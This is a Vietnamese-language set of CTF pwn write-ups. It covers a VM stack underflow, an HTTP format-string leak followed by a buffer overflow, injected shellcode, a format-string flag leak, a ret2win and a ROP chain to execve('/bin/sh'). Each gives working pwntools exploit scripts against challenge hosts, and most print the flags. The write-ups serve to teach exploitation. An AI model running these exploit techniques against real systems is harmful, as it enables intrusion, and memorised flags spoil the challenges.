Để chiếm quyền điều khiển, chúng ta cần thực hiện các bước sau:

1. Đưa địa chỉ mục tiêu vào bộ nhớ: Chúng ta cần địa chỉ của hàm win (0x400780) xuất hiện trong luồng xử lý để có thể ghi nó vào ngăn xếp.

2. Kích hoạt Underflow: Gửi chuỗi Opcode \x02\x02. Lúc này, con trỏ ngăn xếp của VM (data_4a1968) sẽ bị lùi từ sp + 0x10 về sp + 0x8 (đúng vị trí của lr).

3. Ghi đè LR: Thực hiện một thao tác ghi (như nạp dữ liệu chương trình) để giá trị 0x400780 đè lên địa chỉ trả về cũ.

4. Kích hoạt thực thi: Gửi Opcode \x01 để VM thoát vòng lặp. Khi hàm runprogram thực hiện lệnh ret, nó sẽ nạp giá trị tại sp + 0x8 (lúc này đã là địa chỉ hàm win) vào Program Counter (PC).

PAYLOAD

from pwn import *

# Thiết lập môi trường
context.binary = ELF("./fractured_ship")
context.arch = "aarch64"
win_addr = 0x400780

# Xây dựng Payload
payload = p32(1)              # Header/Số lượng lệnh (tùy thuộc vào readprogram)
payload += p64(win_addr)      # Dữ liệu sẽ được dùng để ghi đè vào LR
payload += b"\x02\x02"        # Lệnh Pop lậu -> Khiến VM SP trỏ vào LR trên Host Stack
payload += b"\x00\x00"        # Padding/Tham số bổ sung
payload += b"\x01"            # Lệnh Stop -> Thoát VM và nhảy tới hàm Win

io = remote("marauder-might.ctf.ritsec.club", 1739)
io.send(payload)
io.interactive()

FLAG: RS{th3_G4rc1a_0F_gr4pp1in6}

4. Carening

PAYLOAD

#!/usr/bin/env python3
from pwn import *

# Thiết lập môi trường
context.arch = 'amd64'
context.encoding = 'utf-8'

# Thông tin mục tiêu
host = "careening.ctf.ritsec.club"
port = 1501
libc = ELF("./libc.so.6", checksec=False) # Đảm bảo file libc nằm cùng thư mục

def get_io():
    return remote(host, port)

# --- STAGE 1: LEAK LIBC ---
log.info("Bắt đầu Stage 1: Leak địa chỉ Libc...")
io = get_io()

# Sử dụng Format String thông qua User-Agent để leak atoll (tham số thứ 1)
# Theo disassembly: snprintf(&s, 0x100, &format, atoll, __return_addr, ...)
leak_payload = (
    b"GET /msg/0 HTTP/1.0\r\n"
    b"Host: " + host.encode() + b"\r\n"
    b"X-Debug: 1\r\n"
    b"User-Agent: %p|%p\r\n" # %p đầu tiên sẽ là địa chỉ của hàm atoll
    b"\r\n"
)

io.send(leak_payload)
io.recvuntil(b"X-Debug-Info: ")

# Lấy địa chỉ leak và tính toán Libc Base
leaks = io.recvline().strip().split(b"|")
atoll_leak = int(leaks[0], 16)
libc.address = atoll_leak - libc.sym['atoll']

log.success(f"Atoll leak: {hex(atoll_leak)}")
log.success(f"Libc base:  {hex(libc.address)}")

io.close()

# --- STAGE 2: EXPLOIT OVERFLOW ---
log.info("Bắt đầu Stage 2: Ghi đè stack và gọi system('/bin/sh')...")
shell = get_io()

# Tìm địa chỉ system và chuỗi "/bin/sh" trong libc đã leak
system_addr = libc.sym['system']
binsh_addr = next(libc.search(b"/bin/sh\x00"))

# Payload overflow:
# Padding 0x210 bytes để chạm đến rsp+0x230 (nơi lưu hàm sẽ được call)
# Ghi đè [rsp+0x230] bằng system
# Ghi đè [rsp+0x238] bằng địa chỉ "/bin/sh" (để nạp vào RDI)
overflow_data = b"A" * 0x210
overflow_data += p64(system_addr)
overflow_data += p64(binsh_addr)

# Gửi POST request với Content-Length đủ lớn để trigger memcpy overflow
post_payload = (
    b"POST /msg/0 HTTP/1.0\r\n"
    b"Host: " + host.encode() + b"\r\n"
    b"Content-Length: " + str(len(overflow_data)).encode() + b"\r\n"
    b"\r\n"
    + overflow_data
)

shell.send(post_payload)

log.success("Đã gửi payload. Đang chuyển sang chế độ tương tác...")
shell.interactive()

FLAG: RS{CFI_b1ind_sp0t_g0t_us3d_4g41n5t_b04rd_53cur1ty}

BYOC

Analyse

Chương trình cho ta 3 file:

1. file exe

2. file chall.c

3. file README.md

#include <sys/mman.h>
#include <unistd.h>

int main(void) {
    void *code = mmap(NULL, 200, PROT_READ | PROT_WRITE | PROT_EXEC,
                      MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    write(STDOUT_FILENO, "> ", 2);
    read(STDIN_FILENO, code, 200);
    ((void (*)(void))code)();
}

Ta thấy chương trình cấp phát một vùng nhớ code 200 bytes bằng lệnh

void *code = mmap(NULL, 200, PROT_READ | PROT_WRITE | PROT_EXEC,
                      MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

Cho phép read, write và execute vào vùng nhớ đấy Tiếp theo chương trình in ra "> " bằng lệnh

write(STDOUT_FILENO, "> ", 2);

Và chương trình cho ta nhập trực tiếp vào vùng nhớ code bằng lệnh

read(STDIN_FILENO, code, 200);

Con trỏ hàm:

((void (*)(void))code)();

Lúc này CPU coi những gì bạn nhập vào là mã máy và thực hiện chúng

Ý tưởng

Viết lệnh mở -> đọc và ghi nội dụng file flag.txt ra màn hình

Payload

from pwn import *

context.arch = 'amd64'
context.os = 'linux'

shellcode = asm(shellcraft.open('flag.txt') + #lệnh này trả về mã định danh file được lưu vào rax
                shellcraft.read('rax', 'rsp', 0x100) + #lấy rax được trả ở lệnh trước và đọc 0x100 byte trong file đấy và ghi sang stack
                shellcraft.write(1, 'rsp', 0x100)) #1 là mã của STDOUT (in ra màn hình) và in ra 0x100 bytes vừa đọc được ra màn hình rsp làm mốc

io = remote('byoc-017745a6cb23.chall.nnsc.tf', 1337, ssl=True)

io.sendafter(b'> ', shellcode)

print(io.recvall().decode(errors='ignore')) #lấy dữ liệu trên server trả về

Echo Chamber

Analyse

Mã nguồn chương trình:

#include <stdio.h>

int main(void) {
    char flag[128], input[128];

    setbuf(stdout, NULL);
    fgets(flag, sizeof(flag), fopen("/flag.txt", "r"));

    for (int i = 0; i < 16; i++) {
        printf("> ");
        if (!fgets(input, sizeof(input), stdin))
            break;
        printf(input);
    }
}

Ta thấy chương trình bị lỗi format string ở:

printf(input);

vì chương trình đã đọc file flag và lưu vào biếnflag trong stack cho nên ta có thể dùng lỗi format string để có thể đọc nội dung biến flag nằm trong stack nhờ đó có thể có flag.

Payload

from pwn import *

HOST = 'echo-chamber-c3eae7e37148.chall.nnsc.tf'
PORT = 1337

io = remote(HOST, PORT, ssl=True)

payload = b".".join([f"%{i}$p".encode() for i in range(22, 29)]) #Brute-force một giải dài từ 1 -> 50 và nhận được index thứ 22 đến 28 là flag, lệnh này tương đương với việc gửi %22$p.%23$p...%28$p tức đọc giá trị nằm tại ô nhớ thứ i và in ra dưới dạng hex.

io.recvuntil(b"> ")
io.sendline(payload)

response = io.recvline().decode(errors='ignore').strip() #loại bỏ khoảng trắng hoặc xuống dòng ở đầu và cuối chuỗi
log.info(f"Raw: {response}")

# Giải mã từng phần
parts = response.split('.')#lưu các giá trị in ra thành một mảng
flag = ""

for p in parts:
    if p.startswith("0x"): #xem có trả về đúng là hex dạng 0x không vì có lúc trả về (nil)
        hex_str = p[2:] #bỏ 0x
        if len(hex_str) % 2 != 0:
            hex_str = "0" + hex_str
        # Reverse byte (Little-Endian)
        flag += bytes.fromhex(hex_str)[::-1].decode(errors='ignore') #vừa reverse byte vừa chuyển sang text

log.success(f"FLAG HOÀN CHỈNH: {flag.strip()}")
io.close()

pset1

:::info

::: Chương trình cho ta một file hello.exe Mã nguồn chương trình:

undefined8 main(void)
{
  undefined1 local_48 [64];
  
  setvbuf((FILE *)stdout,(char *)0x0,2,0);
  puts("What is your name?");
  printf("> ");
  fflush((FILE *)stdout);
  read(0,local_48,0x100);
  printf("hello, %.64s\n",local_48);
  return 0;
}

Ta thấy chương trình bị mắc lỗi Buffer Overflow đủ dài để có thể overwrite return_address Tìm tiếp trong ghidra ta thấy tiếp một hàm win() ẩn

void win(void)

{
  char *pcVar1;
  char acStack_a0 [136];
  FILE *local_18;
  
  local_18 = fopen64("/flag.txt","r");
  if (local_18 != (FILE *)0x0) {
    pcVar1 = fgets(acStack_a0,0x80,local_18);
    if (pcVar1 != (char *)0x0) {
      fputs(acStack_a0,(FILE *)stdout);
    }
  }
                    /* WARNING: Subroutine does not return */
  _exit(0);
}

Ta thấy checksec chương trình báo có canary nhưng khi disass main hoặc khi nhìn vào mã nguồn main ta không thấy có canary => main không có canary Vậy ý tưởng là pass qua biến local_48, Saved RBP tổng cộng 64+8=72bytes và overwrite return_address của main thành hàm win

Payload

Trước tiên ta cần tìm giá trị của win

from pwn import *

p = remote('pset1-c3fc1f64562c.chall.nnsc.tf',1337,ssl='True')

payload = b'A'*(64+8) + p64(0x401b00)
p.sendafter(b'> ',payload)
p.interactive()

No win

Analyse

Chương trình cho ta một file no_win.exe Mã nguồn của nó:

undefined8 main(void)

{
  undefined1 local_48 [64];
  
  setvbuf((FILE *)stdout,(char *)0x0,2,0);
  puts("no win(), so good luck");
  printf("> ");
  read(0,local_48,0x200);
  return 0;
}

Như đề bài, bài này hoàn toàn không có hàm win ẩn mở file flag.txt và chương trình bị lỗi buffer overflow y như bài pset1 Ý tưởng là sử dụng ROP_gadget để gọi execve('/bin/sh', 0, 0) lấy quyền shell từ đó đọc được file flag.txt

Payload

vì chúng ta không tìm được chữ \bin\sh cho nên ta ghi \bin\sh vào bss rồi trỏ con trỏ tới đó.

from pwn import *

elf = ELF('./no-win')
p = remote('no-win-scenario-249244a6b025.chall.nnsc.tf', 1337,ssl='True')
 
ret_addr        = 0x000000000040101a  # ret (align stack)
pop_rdi_rbp_ret = 0x0000000000402128  # pop rdi ; pop rbp ; ret
pop_rsi_rbp_ret = 0x000000000040a3c2  # pop rsi ; pop rbp ; ret
pop_rdx_ret     = 0x0000000000413210  # pop rdx ; ret
pop_rax_ret     = 0x0000000000427eeb  # pop rax ; ret
syscall_addr    = 0x0000000000401324  # syscall
# Các gadget này tìm bằng ROPgadget

read_addr = 0x41feb0  # Địa chỉ hàm read lấy từ disassembly main
bss_addr  = 0x4aa100  # Địa chỉ vùng Writable (rw-p)

offset = 72  # 64 byte buffer + 8 byte Saved RBP

# --- 2. DỰNG ROP CHAIN ---
payload = b"A" * offset

# Align Stack
payload += p64(ret_addr)

# [BƯỚC 1]: Gọi read(0, bss_addr, 0x10) để ghi "/bin/sh\x00" vào BSS
payload += p64(pop_rdi_rbp_ret)
payload += p64(0x0)             # rdi = 0 (stdin)
payload += p64(0x0)             # Junk RBP

payload += p64(pop_rsi_rbp_ret)
payload += p64(bss_addr)        # rsi = bss_addr
payload += p64(0x0)             # Junk RBP

payload += p64(pop_rdx_ret)
payload += p64(0x10)            # rdx = 16 bytes

payload += p64(read_addr)       # Gọi read()

# [BƯỚC 2]: Gọi execve(bss_addr, 0, 0) qua syscall
# 1. RDI = bss_addr (Trỏ tới "/bin/sh")
payload += p64(pop_rdi_rbp_ret)
payload += p64(bss_addr)
payload += p64(0x0)             # Junk RBP

# 2. RSI = 0
payload += p64(pop_rsi_rbp_ret)
payload += p64(0x0)             # RSI = 0
payload += p64(0x0)             # Junk RBP

# 3. RDX = 0
payload += p64(pop_rdx_ret)
payload += p64(0x0)             # RDX = 0

# 4. RAX = 0x3b (Syscall execve)
payload += p64(pop_rax_ret)
payload += p64(0x3b)

# 5. SYSCALL
payload += p64(syscall_addr)

# --- 3. GỬI PAYLOAD VÀ LẤY SHELL ---
p.sendline(payload)

# Hàm read() ở BƯỚC 1 đang chờ input -> Gửi chuỗi /bin/sh
p.sendline(b"/bin/sh\x00")

p.interactive()